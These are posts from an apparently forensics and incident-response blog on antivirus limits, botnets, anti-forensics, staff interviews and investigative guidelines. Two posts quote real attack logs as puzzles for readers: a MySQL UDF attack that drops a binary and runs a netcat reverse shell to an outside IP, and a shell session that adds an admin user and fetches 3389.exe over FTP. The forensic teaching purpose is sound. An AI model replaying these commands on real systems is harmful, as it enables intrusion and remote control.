Now, let's look at this from a sysadmin perspective. You run a managed antivirus environment and one day, after your server and clients grab the latest set of definitions, you get an alert for malware called trojan.horse. Great! you say to yourself. My antivirus has done its job. You move on about your day as if nothing happened, afterall your AV product detected and removed the threat. You never bother to look at the file, or the timestamps of the file, and you certainly don't bother to investigate. This is an all too common problem and scenario.

What's my point?

When an antivirus product fires an alert for a generic detection, it always bears investigation. It stands to reason that when something is generically detected, it's much more serious than it appears. Using Trojan.horse as the example, when no existing definition exists, it gets classified as trojan.horse so it can be detected and removed. That's fine, but you have no idea what that malware is actually capable of. An immediate threat assessment should take place, even if you simply submit the malware to an automated sandboxing web site.

What should you look at:

• How long has the malware been on the system?
• What capabilities does it have?
• Has data been exfiltrated as a result of it?
  

Generic detection, while a good thing for the vendor, is a bad thing for the rest of us. It's misleading and provides no information whatsoever. Trojan.horse is a low threat level according to Symantec. I can think of no small amount of people that would consider a key logger a huge threat, especially one that was present on a system for 30 days before a definition was available.

*note I'm not picking on Symantec. This is an issue with all antivirus products*

V is for validation

Whether it's a complaint of weird system behavior, an alert from a detection system, a phone call or some other mechanism, a very important step must occur; Validation. Validation is absolutely important if only so we don't waste effort, and charge clients unnecessarily. Not long ago I received an email alert from an organization overseas that alerted our group to a system that may have been compromised. The alert went on to say that the system was likely compromised and a rootkit was probably installed. Like any well intentioned IR team we took the alert seriously and started making some phone calls. A time was arranged to preview the system in question. Two of us visited the datacenter housing the system and wouldn't you know it, the system that had been identified was not a single system.

It was the head node in a high performance cluster with 64 nodes. With models and simulations being actively run on the system we naturally couldn't just power it down. So, we validate before escalation to investigation. The head node and subsequent systems were running linux and we just happened to have our handy cd containing trusted statically compiled binaries. Some of you might be saying.. "Now just wait right there you can't touch the system, you'll impact forensic integrity" . Remember please that this is validation, we aren't in an investigation yet, so our goal is to minimize the impact we have, because we can not avoid having an impact. If we get to a full blown investigation, we put on our "forensic purity" hats. Ok, so back to the validation...

The alert we received was nice enough to include a set of characteristics *cough* tool marks anyone?*cough* The tool marks listed were of the individual nature and even then, they varied. First things first. We need to capture memory. I liken memory captures to photographs of a crime scene, so we take our pictures before disturbing the system. Ok, so we grab a copy of /proc/kcore and kernel and symbol table and shoot them to the response laptop over a netcat connection. Then we attempted to locate the locations and files that were listed in the alert. Nothing, nothing and more nothing. Great news! But wait, just what happened here, we asked ourselves. Afterall we're responders and forensic analysts, we want to be able to understand and explain.

Tracing back through the alert, a username was identified and that's why we received the alert. The alerters thought "ahah we have a user name and an IP address that the user logged in to, hence the computer he logged in to is likely compromised". While we appreciated the alert, it was awfully presumptive. Yes the user in question logged in to the system we received the alert about from a computer in the foreign country where the alert originated - hence the user name and ip address of the system he logged in to. The system he logged in from, was identified as being compromised by those that sent us the alert, so they alerted us that one of our systems may have been compromised. This makes good sense but it still obviously required us to validate the compromise. Validation cost us a little effort but we certainly saved a bundle of time by not jumping to conclusions and going right in to investigation mode. The owners of the cluster would not have been happy if we had.

Situation Normal....

When analyzing a disk image or live system we're often confronted with the need to scan the system for malware. We need to know what was on the system, if anything, and what capabilities it has. Many people scan with well known vendor utilities like Symantec Antivirus or Mcafee. Others scan with some less popular tools, but all have the same end in mind; Find malware on the system by signature. I think it's past time we as examiners be honest with ourselves. Antivirus is not sufficient when attempting to detect the presence of malware on a system. Sure, it functions and will catch what it's aware of, but malware changes too rapdily for antivirus to be effective. You can scan a system or disk image all you want, but if the signature does not exist, you have no hope. Case in point: Asprox botnet related files. Yes I'm still watching it. Today I grabbed four of the newest binaries available.

The results from virustotal?
1,2,3,4

This is of course brand new malware on the block. But this is obviously a frequent thing.

Guess what? You don't stand a chance. If you're scanning a system for malware in the next few days because you're processing an image for a case, or responding to an incident..FAIL. You can not, based on an antivirus scan, even pretend to claim that the system is malware free. Your certainty level suffers greatly and that friends is what we call doubt.

Now, just because a binary evades signature detection doesn't mean you can't detect it. We just need to adapt out methodology when we search. As examiners we must accept the fact that Antivirus is a failing technology in that it consistently falls short and is no longer reliable if you base your conclusions on the results of a scan.

As such it's time to look at alternative methods when determining the presence of malware. Malware detection in forensics needs to move to a more behavioral based approach. Booting a disk image in vmware and looking at system behavior is a must. Capturing memory and analyzing it is a must. Running a sniffer is a must when the vm is booted. Using multiple antivirus products is no longer an option. I'd suggest that at least three products be used to scan all disk images and systems during response and/or forensics. What am I using? Symantec, Kaspersky, Bitdefender. With the samples I listed above, of course these wouldn't work..but the point is simply this: Just as more sources of evidence leads to a more solid case, the more sources that get consulted during a malware analysis leads to a higher degree of reliability in the results. Is it perfect? No, not at all. Is it more reliable? yes, it's more reliable if you:

1) Look at the filesystem for things that don't fit; new files in system32,new drivers, new services, new batch files, vbs scripts etc.
2) Scan with multiple AV products.
3) Boot the disk image in Vmware, watch the behavior of the system, capture memory, run a network sniffer.
4) Analyze memory, the behavior and the sniffer output(put it through snort and reconstruct streams).

This is far better and more reliable than simply stating "I scanned the disk image with Antivirus Product X, and could not identify any malware on the system. The system is clean."

Bots, no longer childs play

A few years ago botnets were pretty much childs play. The bot herders would run an IRC server, sloppily infect computers and detection was pretty simple. You'd find a rogue ftp server, and some form of bot capable of DoS'ing and that's about it, maybe some good movies and weird music but that's about it.

Over the past few weeks I've been following Asprox and some other botnets. I'll start with Asprox. Sure it's been documented by some of the biggest names around. Joe Stewart (who does amazing work if you haven't checked), SANS, Dancho Danchev (who does amazing work as well). Asprox right now is launching massive SQL injection attacks, and is succeeding in large numbers. It's a simple XSS attack, but wow is it effective. So, once your favorite website has been compromised(yahoo anyone?), and your users visit the site, what happens? If you visit the page with IE, you get sent down a specific path, and if you visit with firefox you go down a different path. What I found interesting is that attacks that the code used in the attack exploits MS08-041 in addition to simple XMLHTTP gets, malicious flash (based on browser detection, and then flash version detection, getting the browser to trust the binary and then the binary modifies the Anti-phishing bar for IE, and the botnet comes complete with statistics tracking and updating.

The victim computer becomes pwned in, every sense of the word. You end up with a keylogger, game password stealer, general information stealer, you're connected to the botnet C&C which is proxied and throw in a bit of fast flux just for fun. In the two weeks I've spent on this, I've seen the malware change 5 times - that's new malware not just revisions, and the SQL injection attacks are now coming in with a variable padding, attempting to bypass any filtering of the attacks. This botnet has been used for spamming, phishing and now SQL injection attacks to grow the pharm as it were. And Asprox is small compared to other more nefarious botnets.


Yet another botnet I'm looking in to, (not sure if it has a name) is being used for spam. I had a drive brought to me recently and took a look at it after looking at network traffic. Well, it uses methods similar to things like coreflood in that C&C communication is done over HTTP connections and consists of simple POST and GET requests, though it currently connects over port 18923. Yeah..that's HTTP over port 18923. This particular botnet comes with a rootkit that is not detected by modern signatures in software like Symantec (big surprise there I know), although antivirus evasion is apparently pretty darn easy.

It's been known for quite some time in small circles that botnets are big business but many people out there still don't get it. They see a system spamming and nuke it from orbit without doing even a simple Root Cause Analysis. An RCA in these cases provides a wealth of information. It can be said that everything has a signature, and malware leaves tool marks - from the installation, to activity and so on. An RCA allows us to create that signature to improve detection and knowledge of the methods and mechanisms used by these botnets. Next time someone in tech support or someone at your client's site wants to just nuke a system from orbit, ask them if you can image the system. This is no longer just child's play.

Name that hack

Today my honeynet was the victim of an oldie but goodie. It's time to play "NAME THAT HACK". What do you think is happening here?

A...
5.0.45-community-nt.^!..u"G|_G${.,.................c]+Yba?Ti4d{.
@..........@........................root....'NF.g".|Z/...=ao.nmysql.
...........
.....CREATE DATABASE nmxtmp
...........
.....USE nmxtmp
...........
/....CREATE TABLE cmd (codetab MEDIUMBLOB NOT NULL)
...........
( ...INSERT INTO cmd (codetab) VALUES ( 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000e5915857a1f03604a1f03604a1f0360449ef3d04a0f0360422ec3804aaf0360449ef3c0489f03604a1f0370498f03604c3ef2504a2f0360449ef2004a0f0360449ef3204a0f0360452696368a1f0360400000000000000000000000000000000504500004c010400a64156440000000000000000e0000e210b010600005000000030000000000000bd1100000010000000600000000000100010000000100000040000000100000004000000000000000090000000100000000000000200000000001000001000000000100000100000000000001000000060690000800000009c64000028000000000000000000000000000000000000000000000000000000008000007004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000d80000000000000000000000000000000000000000000000000000002e74657874000000b840000000100000005000
0000100000000000000000000000000000200000602e72646174610000e009 [Truncated by me])
...........
5....SELECT * INTO DUMPFILE '..\\bin\\mycmd.dll' FROM cmd
......."...
?....CREATE FUNCTION cmd_execute RETURNS integer SONAME 'mycmd.dll'
...........
.....DROP TABLE cmd
...........
.....DROP DATABASE nmxtmp
...........
.....FLUSH LOGS
...........
.....CREATE DATABASE nmxtmp
...........
.....USE nmxtmp
...........
/....CREATE TABLE cmd (codetab MEDIUMBLOB NOT NULL)
...........
(....INSERT INTO cmd (codetab) VALUES ( 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010400b98eae340000000000000000e0000f010b010500009800000062000000000000004c00000010000000b0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000002001003c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0210100640100000000000000000000000000000000000000000000000000002e7465787400000070970000001000000098000000040000000000000000000000000000200000602e726461746100001704000000b0000000060000009c0000000000000000000000000000400000402e646174610000004452000000c00000003e000000a200000000000000000000000000
00400000c02e696461746100005c070000002001000008000000e000 [truncated by me])
...........
3....SELECT * INTO DUMPFILE '..\\data\\nc.exe' FROM cmd
......."...
.....DROP TABLE cmd
...........
.....DROP DATABASE nmxtmp
...........
.....FLUSH LOGS
...........
D....SELECT cmd_execute('..\\data\\nc.exe 66.35.111.60 2095 -e cmd.exe')
.....R....def...cmd_execute('..\\data\\nc.exe 66.35.111.60 2095 -e cmd.exe')..?.........................537912269770588160.........
.....


Where would you begin your investigation?

Analyze this

Some time ago I shared an intrusion analysis where the attack vector was the DNSRPC vulnerability. I've decided the trim this one down a bit to let you the reader tell me what you think is happening here.

You receive the following IDS alert on your cell phone early in the morning:

[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]

After searching your network logs you discover the following:

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>


Some questions:

Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)

anti-forens..ugh

I've been quiet for a while and mainly that's because I haven't had much to say lately on top of being overwhelmed with work.

However, after reading a recent post on Richard Bejtlich's blog I'm starting to get really annoyed with the notion of "anti-forensics". It's quickly become the buzzword of the year it seems, in no small part due to the blathering journalists at CSO magazine trying hard to keep C level execs in the loop.

Just what is forensics ?
forensics: The application of science to answer legal questions. Or "used or applied in the investigation and establishment of facts or evidence in a court of law".

So, what then is anti-forensics?

According to Stach and Liu(You know..those antiforensics metasploit guys) it's: application of the scientific method to digital media in order to invalidate factual information for judicial review.

Ok, so here we see it's the antithesis of what forensics is. Great, just what we expected! Is this entirely accurate? No - why? Because the application of the scientific method is lacking. So why all of the confusion about what antiforensics actually is? Perhaps because everyone is using an umbrella definition to describe and define what is actually very specific methods and techniques.

Previously I started mapping out the world of forensic science and digital forensic science in an attempt to make sense of the many facets of the industry. Forensic science, while it includes a conglomeration of many fields of study and science relies heavily on human beings and their senses to interpret information and present it as fact. There are 5 major human senses as we all know. These senses translate to the digital world to form the basis of how investigations are conducted and the requisite skills to accurately perform said investigation.

Remember the saying "What the eyes see and the ears hear, the mind believes"? This is not only true of forensic science but of digital forensic science as well. So what is antiforensics really?

Techniques and methods designed and intended to reduce the forensic analysts ability to accurately reconstruct and present data as fact, the accuracy and trustworthiness of the data, and the tools used to conduct forensic examinations.

Ah, now we're getting somewhere. Antiforensics attacks the analyst, the data, and the tools.

It's been demonstrated time and time again that tools and data can be manipulated to the point of appearing to be useless to an analyst, so what should be the real focus? The human dimension. No tool is perfect, they can all be circumvented in some form, and data shouldn't be trusted until verified. Antiforensics can mislead, deceive, and thoroughly stump an investigator or analyst until a decision point is reached and the investigation is stopped in favor of easier wins, it drags on, or an incorrect conclusion is reached. So what must an investigator do to counter antiforensics? Simple, the analyst needs to be better trained, and have a firm understanding of situational awareness.

Situational awareness information can be found here: http://faculty.ncwc.edu/TOConnor/431/431lect03.htm

Situational awareness when it comes to forensics and incident response is vital. The investigator needs to know and understand everything that is going on. You need eyes in the back of your head, and an extra set of hands. You must be able to take in new data constantly, process it, compare and contrast to existing data, put it in to perspective to make the right decision. In many cases, you don't have a lot of time either.


When it comes to training...

There is one component of antiforensics that seems to escape many people. The user of antiforensics must understand forensics in order to use the techniques to maximal effect. If you don't know the techniques used by forensic analysts, don't understand their tools, and don't know how they think, then you can't possibly "anti" or "counter" everything. This has been called the "CSI effect" in the real world and now we're seeing it in the digital realm. Sure, a perp will splash bleach on blood stains in hopes of washing it away, but it takes time and until then all they've done is destroy the pigment. On top of this, Did they manage to plant evidence that it could have been someone else? Did they hide their footprints, fingerprints, destroy bodily fluids and so on? Odds are no, they didn't. In addition, if you've ever spoken with criminals before, many will tell you they got caught because they got greedy, were nervous, or didn't know what they were doing. Like the construction worker that robbed a store with his hardhat on; His name was written on the hardhat.. Or the criminal that went back in to the store one last time to get another load.


The failure to recognize that the people using tools with antiforensics capabilities didn't create them and don't understand what they're actually doing seems to be causing Fear Uncertainty and Doubt or FUD in a lot of practitioners. There are buzzwords abound and everyone seems to be throwing antiforensics around like it's some new threat. Remember if you will that digital forensic science and digital forensics is made up of many specialty areas and attackers or criminals aren't generally experts in defeating all of them. Antiforensics raises one point above the rest - Never make a dogmatic statement based on an isolated observation. Your investigation can not hinge on one source of data, and you can never make an accurate statement based on a single source.

So how do you as an investigator overcome antiforensics?

Use your senses.

Sight - Your eyes can and will deceive you so don't trust them. Use multiple tools each time you investigate. There is no one ring to rule them all and there is no one antiforensics tool or technique that defeats every forensic tool.

Smell - Smell out the rat. There is always evidence to suggest an intrusion and crime. The criminal or attacker will slip up somewhere when attempting to hide their tracks. You must be able to smell out the rat that will give away the perpetrator.

Taste - If you notice something weird, try it out yourself to see how it "tastes". If you have an unknown binary, sandbox it and see what it does. Get a demo copy of software that was used and see how it works in depth.

Sound - Listen to the evidence, not the people involved. The evidence will lead you in the right direction.

Touch - Get your hands on as much information and equipment as possible. This is where exposure increases your ability to outsmart the opponent.

Interrogation

I recently started watching the show 24 A family member let me borrow the first few seasons on dvd. While I've enjoyed the show I've noticed a huge number of interesting topics that just seem out of place. One such topic is interrogation.

If you've ever seen the show, you might find it amusing - I know I did - when the interrogator claims to be "pushing" the suspect pretty hard when the suspect is asked about 3 questions and the interrogator says "ok I believe you".


If you've ever been assigned to handle an incident of any reasonable size and scope you've questioned people, their actions, the reasons behind those actions and had to dig for more information. Some might call this the "interview", I tend to view it as a passive interrogation for a few reasons.

- SA's and NA's commonly feel they have something to hide.

If you've ever worked as a network or sysadmin you probably have some sense of what I'm getting at. NA's and SA's tend to get territorial about their systems and networks and as a responder you are invading their territory. It's kind of like inter-agency "cooperation". Not only is territory an issue, but more importantly people try to hide their mistakes in an effort to cover themselves and most likely protect their jobs.

During an incident, me and my partner had to spend about 5 hours interviewing an admin. Initially we started out actually conducting a standard information gathering interview. We asked common questions related to network topology, system type, system configuration etc. As we began to delve deeper, the admin became more and more closed off and shut down, leading us to take some relatively extreme response methods such as locking down the entire network and relegating the admin to desktop support while we conducted a room to room search.


- You are the outsider

Even if you work for the same company, you are the outsider. We are members of what is viewed as the "hit squad". An alert of some form was sent, we respond and arrive on scene with our jump bags or pelican cases containing lots of gadgets (I typically arrive with 2 1650's and a backpack full of paperwork), we ask questions, we seize systems, conduct investigations and file a report when we're done. We are the outsider, regardless of who we work for. There are some ways to change this perception and it typically involves - atleast for me - winning over the administrative assistants. Admin assistants more often than not have the pulse of a department or company, and can get you just about anything you need if you win them over, especially if you're going to be there a while.

- Management fears the outcome

When approaching management with the potential to make them look bad to their bosses you must tread carefully because they can make the investigation a difficult one. If you interview management about policy and policy violations or poor decisions made based on purely financial reasons rather than accurate risk assessments, remember to be politic rather than accusatory. Do not try to intimidate them or second guess their decisions. Their decisions were already made, and it serves no purpose to tell them they were wrong. When it comes time to write your report, make your points in the recommendations section. This is the "bottom line" of an incident report for management because this is where costs commonly get associated.

To that end I want to make a few suggestions to those of you conducting interviews.

- Remind the interviewee that you're not there to get them in trouble. You're just trying to resolve the issue
- Be as thorough as possible
- Ask leading questions, and let them do the talking
- Don't let your frustration show
- Know when to press the issue and when to let it go
- Get what you need to get you started and move to secure the systems. You can always ask new questions later and the more you know, the better formed your questions will be
- Trust no one. The facts will do the talking.

A reversal of fortunes

In my "Where is the science?" entry I questioned the decisions on two cases of child pornography possession and that our ability as examiners to find images is just not enough. In an interesting reversal on the Diodoro case, the Pennsylvania superior court decided that viewing images is in essence exerting control or possession of CP.

To quote the article:
"[Diodoro's] actions of operating the computer mouse, locating the Web sites, opening the sites, displaying the images on his computer screen, and then closing the sites were affirmative steps and corroborated his interest and intent to exercise influence over, and, thereby, control over the child pornography,

He added that while Diodoro was viewing the pornography, he had the ability to download, print, copy or e-mail the images."

Wow, now that is actually an interesting way of looking at things. That you have the image displayed on screen means you have the ability to do something to or with it, and therefore you have control over the image.

Here's how I'm viewing this...

If I am viewing an image, it's true that I can do what I wish with it, except modify the original as displayed on the website. I am in possession of a digital copy of the original, which is as good as the original file as displayed on the website.

The copy that has been automatically downloaded to my computer's temporary internet cache and is being displayed is under my possession and control at that point in time when I am viewing the image. My actions (visiting the website willingly, and possibly expanding a thumbnail image) affirm the fact that I wanted to view the image and therefore I have the ability to exert control over it; I have the ability to manipulate the image as I see fit - which is to say I can save, copy, email, print, crop, etc...

Let's hope that other Courts can use this during prosecution of these types of cases where the law states that anyone who "possesses or controls" these images is guilty. Chalk one up for the good guys.

Thoughts?

musings on bridging the gap and the blue wall

For a few years I've been trying to figure out how to pierce the blue wall to bridge the gap between law enforcement (government, state and local) such that people like myself can actually do some good with their skills. Why? Well when in school, after completing a project(details for those of you who are bored at the bottom), my CRJU prof said that LE could probably use a person like me. I found it inspiring at the time.

Some things I've learned along the way.

1) PD's don't respond to people

2) Pro-bono offerings don't get you anywhere

3) You must be "inned"

4) It takes a cop to work with them, or a professor

5) They don't want civilians seeing ugly all day long

There's a story here...I visited a state police cybercrime lab and spoke with the folks there. 60% of their cases were CP. I looked at the current pending cases board on the wall inside the exam room, and fully 90% of the cases at that time were CP. When asked what it's like, one examiner said "I see ugly all day long, I see it at work, I see it at home, I never stop seeing ugly, but I do what I can". Dealing with CP is tough work and this above all the other reasons is the one I can sympathize with.

For the most part, I'd be lying if I said I understood many of the reasons behind excluding the other half of the industry however I'm no fool, and no longer kid myself. The truth is, I'll never understand until I'm in the shoes of a LEO. Sure, I know several of them and I've heard stories, but that doesn't mean much, and it's not likely that I'd become an LEO.

As I've not yet been able to pierce the blue wall I offer an open invitation to anyone reading this blog that's a member of law enforcement of any kind. If there's anything that can be done(application analysis, testing, validation etc.) by a person such as myself, just shoot me a message. I have no hopes of contact, but like you all, I do what I can. If only LEO's would express their needs, the industry(commercial and individuals) I think could help. I've been all over the web, and I can't recall seeing an LEO sharing what it is that would help them the most. To that end I say keep on fighting the good fight, I'll continue to support the PBA, and just remember, there are people like me all over.

Thoughts, comments?


What was that project? Well, it was a mock search for a victim in an open area. We were given a scenario in one of my criminal investigation courses and asked to analyze the scene and determine a search pattern. I got a little crazy and went up in an airplane in January to take some aerials. Damn that was cold but so much fun. Some photos for your enjoyment(Thanks picasa!)..


One of many photos taken:


and my zone overlay.

New ACPO guidelines

The ACPO released their new guidelines recently. I really have to hand it to the ACPO for reviewing their own guidelines on a regular basis and keeping up with new techniques and technology.

Of particular interest in the document is the Network Forensics and Volatile data section.

"By profiling the forensic footprint of
trusted volatile data forensic tools, an investigator will be
in a position to understand the impact of using such tools
and will therefore consider this during the investigation
and when presenting evidence."

It's about time that this statement was made in an official manner. While I'm in the process of actually defining a methodology to run these tests, it's really nice to see this.

It was also important for the ACPO to include the note about the Trojan Defense.

"Considering a potential Trojan defence, investigators
should consider collecting volatile evidence. Very often,
this volatile data can be used to help an investigator
support or refute the presence of an active backdoor."

Great inclusion!

The ACPO seems to hint at the requirement to add network forensics procedures due to trojan defense claims and the apparently large amount of claims that "the trojan did it".

Any of you fine folks across the pond have a metric for the number of claims?
It would also seem as if Network Forensics will be a major focal point in the upcoming months for many investigators.

I have to commend the ACPO for releasing these guidelines, it's a great resource.

A peer review - DOJ methodology

Back in April, after I posted on peer reviews and how no one shared their methodologies I was a little surprised that the responses were few. However, Ovie from Cyberspeak decided to send me something he picked up from the DOJ. Thanks Ovie!

First, here's Ovie's disclaimer.

Again, this is not a cyberspeak product it was produced by the Department of Justice, Computer Crime and Intellectual Property Section and they said it had no copyright so people were free to use it however they want.


So, here is the methodology:



Look at all the purdy colors! I must assume first off that there is a glossary for many of the terms listed in the flowchart because this is a very high level overview of the process.


From the get-go there is one thing missing. Validation of the hardware to be used by the examiner. Similar to calibration of the radar detectors before you go out and try to get someone for speeding. There's a block that says "setup forensic hardware" so maybe it's actually buried there but I don't see it.

There's also no mention of scanning for malware. While this isn't foolproof, it's a must for any analysis procedure in my opinion.

I personally don't care for the use of the word triage in this methodology. It just doesn't fit with the section it's listed under. I'd say "data identification/processing" rather than triage. There's really no triage happening here. If someone wanted to add something reminiscent of triage to this phase, they should add a method of prioritization of forensic data sources to be analyzed. In fact, adding that would fit with the arrow along the bottom where ROI diminishes once enough evidence is obtained for prosecution. Prioritizing would meld nicely here.

Data Analysis: Again, there is no mention of scanning for malware.

What I find really interesting is in the Data Search Lead List. There's mention of attempting to reconstruct an environment or database to mimic the original. Kudos to the DOJ for acknowledging the power of reconstruction!

This document provides a really great overview of the forensics process, but it raises a lot of questions about the guts of the process rather than the overview but I'm really happy that Ovie decided to send this along. This is the kind of stuff we need to start sharing if we're ever to narrow the gap that divides this industry and holds it back. If anyone else wants to send something to me, I'd be happy to take a look and send you my feedback. If you have a step-by-step, I'll even run it through a validation process.

For you Binary geeks....
Have a look at the at the bottom of the ROI arrow. There's something interesting in there..